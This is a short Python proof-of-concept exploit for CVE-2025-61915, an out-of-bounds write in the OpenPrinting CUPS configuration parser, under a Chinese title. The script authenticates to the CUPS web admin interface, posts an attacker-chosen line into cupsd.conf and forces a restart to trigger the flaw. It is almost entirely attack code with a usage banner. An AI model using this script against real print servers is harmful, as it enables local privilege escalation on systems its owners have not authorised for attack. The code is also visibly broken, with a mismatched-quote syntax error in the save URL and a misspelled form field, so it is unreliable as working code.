CVE-2025-61915 OpenPrinting CUPS 越界写入权限提升漏洞

# CVE-2025-61915 PoC - OpenPrinting CUPS Out-of-Bounds Write # This PoC demonstrates the configuration injection via CUPS web interface # Note: Requires lpadmin group membership and local access import requests import re import sys def exploit_cups_oob_write(target_url, malicious_config_line): """ Exploit CVE-2025-61915 by injecting malicious config via CUPS web UI Args: target_url: Base URL of CUPS web interface (e.g., http://localhost:631) malicious_config_line: Malicious configuration line to inject """ # Step 1: Authenticate to CUPS web interface session = requests.Session() # Try default authentication or cookie-based auth auth = ('lpadmin', 'password') # Replace with valid credentials try: # Step 2: Access configuration page config_url = f"{target_url}/admin/conf/cupsd.conf" response = session.get(config_url, auth=auth) if response.status_code != 200: print(f"[-] Failed to access config page: {response.status_code}") return False # Step 3: Extract form token if CSRF protection is enabled token_match = re.search(r'name="org.cups.sid" value="([a-f0-9]+)"', response.text) csrf_token = token_match.group(1) if token_match else None # Step 4: Inject malicious configuration line # The vulnerability occurs when cupsd parses the config # Malicious line triggers out-of-bounds write in config parser payload = { 'org.cups.sid': csrf_token, 'configfile': malicious_config_line, 'submitt': 'Save', 'apply': 'Apply Changes' } save_url = f"{target_url}/admin/"/admin/conf/" exploit_response = session.post(save_url, data=payload, auth=auth) # Step 5: Trigger config reload to cause OOB write reload_url = f"{target_url}/admin/" session.post(reload_url, data={'cmd': 'restart'}, auth=auth) print("[+] Malicious config injected successfully") print("[*] cupsd will parse the config and trigger OOB write") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2025-61915 PoC - OpenPrinting CUPS OOB Write") print("Usage: python poc.py <target_url> <malicious_line>") print("Example: python poc.py http://localhost:631 '<malicious_config>'") if len(sys.argv) > 2: target = sys.argv[1] payload = sys.argv[2] exploit_cups_oob_write(target, payload)